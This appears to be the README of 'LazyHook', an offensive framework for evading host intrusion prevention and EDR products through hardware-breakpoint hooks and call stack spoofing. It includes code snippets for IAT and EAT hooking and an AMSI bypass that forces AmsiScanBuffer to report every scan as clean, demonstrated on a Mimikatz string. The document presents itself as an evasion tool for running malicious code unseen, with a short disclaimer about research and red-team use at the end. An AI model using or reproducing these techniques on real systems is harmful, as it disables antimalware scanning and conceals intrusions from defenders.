LazyHook is a stealthy API hooking framework that bypasses Host Intrusion Prevention Systems (HIPS) through call stack spoofing. By leveraging CPU-level hardware breakpoints and Vectored Exception Handling, it executes arbitrary code as if it originated from trusted, Microsoft-signed modules—completely fooling behavioral analysis engines that rely on call stack inspection and module origin verification.
Evade behavioral analysis by executing malicious code within trusted Microsoft call stacks
Uses hardware breakpoints + VEH to hijack legitimate functions and spoof module origins
Host Intrusion Prevention Systems (HIPS) and behavioral analysis engines monitor applications by:
- Call Stack Analysis: Tracking the origin and flow of API calls
- Module Origin Verification: Checking if suspicious behavior originates from trusted modules
- API Pattern Recognition: Detecting malicious sequences (e.g., VirtualAlloc → WriteProcessMemory → CreateRemoteThread)
- Return Address Validation: Ensuring return addresses point to legitimate code sections
Systems like Kaspersky System Watcher, Windows Defender, Cylance, and CrowdStrike all employ variations of these techniques.
By hijacking a function in a Microsoft-signed assembly (e.g., System.Windows.Forms.dll, user32.dll), we can execute arbitrary logic within a call stack that appears completely legitimate.
Note: It's possible to do an JmpHook, which will hook MsgBox -> and just after call it to your custom code. LazyHook doesn't do that
Why This Works:
- The hooked function is in a trusted, digitally-signed Microsoft DLL
- When your payload executes, the call stack shows the trusted module as the caller
- The hardware breakpoint leaves no memory modifications, so integrity checks pass
The security software sees the second scenario and thinks: "MessageBoxA from user32.dll is calling Windows APIs? That's normal behavior."
┌─────────────────────────────────────────────────────────┐
│ 1. Target Function Call │
│ ↓ │
│ 2. CPU Debug Register Triggers (DR0-DR3) │
│ ↓ │
│ 3. EXCEPTION_SINGLE_STEP Raised │
│ ↓ │
│ 4. VEH Handler Intercepts Exception │
│ ↓ │
│ 5. Execution Redirected to Hook Function │
│ ↓ │
│ 6. CallOriginal() Temporarily Disables Breakpoint │
│ ↓ │
│ 7. Original Function Executes │
│ ↓ │
│ 8. Breakpoint Re-enabled │
└─────────────────────────────────────────────────────────┘
Intercepts imported functions by locating their address in the IAT and setting a hardware breakpoint. This hooks the specific import in your process.
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);Hooks exported functions globally from a DLL by resolving their address via the export table. This affects all calls to that export.
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);The included demo showcases three practical scenarios:
Demonstrates IAT hooking by intercepting MessageBoxA calls and modifying the displayed message:
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
printf("[*] MessageBoxA hooked!\n");
return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "Hooked!", ">:)", U);
}Shows how to monitor file operations by logging CreateFileA calls:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("[*] CreateFileA hooked: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}Demonstrates security software bypass by forcing all AMSI scans to return clean results:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
printf("[*] AmsiScanBuffer hooked! Bypassing...\n");
HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean regardless of content
return OrgResult;
}The demo tests the AMSI bypass by scanning "Invoke-Mimikatz" (a known malicious string) and shows it being classified as clean.
DR7 Layout (Simplified):
- Bits 0,2,4,6: Enable flags for DR0-DR3 (Local Enable)
- Bits 16-31: Breakpoint conditions (Execute, Write, IO, R/W)
The framework configures DR7 to:
- Enable execution breakpoints (00b for execute condition)
- Set 1-byte length for breakpoint precision
The VEH handler:
- Checks if exception is
EXCEPTION_SINGLE_STEP - Compares instruction pointer (RIP/EIP) against registered hooks
- Redirects execution to hook function if match found
- Returns
EXCEPTION_CONTINUE_EXECUTIONto resume at hook
template<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
RemoveHardwareBreakpoint(State->DrIndex); // Disable temporarily
Ret Result = ((FuncType)State->OriginalFunction)(args...);
SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex); // Re-enable
return Result;
}The demo shows hooking AmsiScanBuffer to force clean scan results:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean result
return Result;
}This demonstrates how security software behavior can be modified at runtime by intercepting critical API calls.
Hook CreateFileA to log file access without modifying application behavior:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("File accessed: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}This code demonstrates advanced evasion techniques for:
- Security research and education
- Red team operations in authorized environments
- Malware analysis and defensive research
Understanding offensive techniques builds better defenses.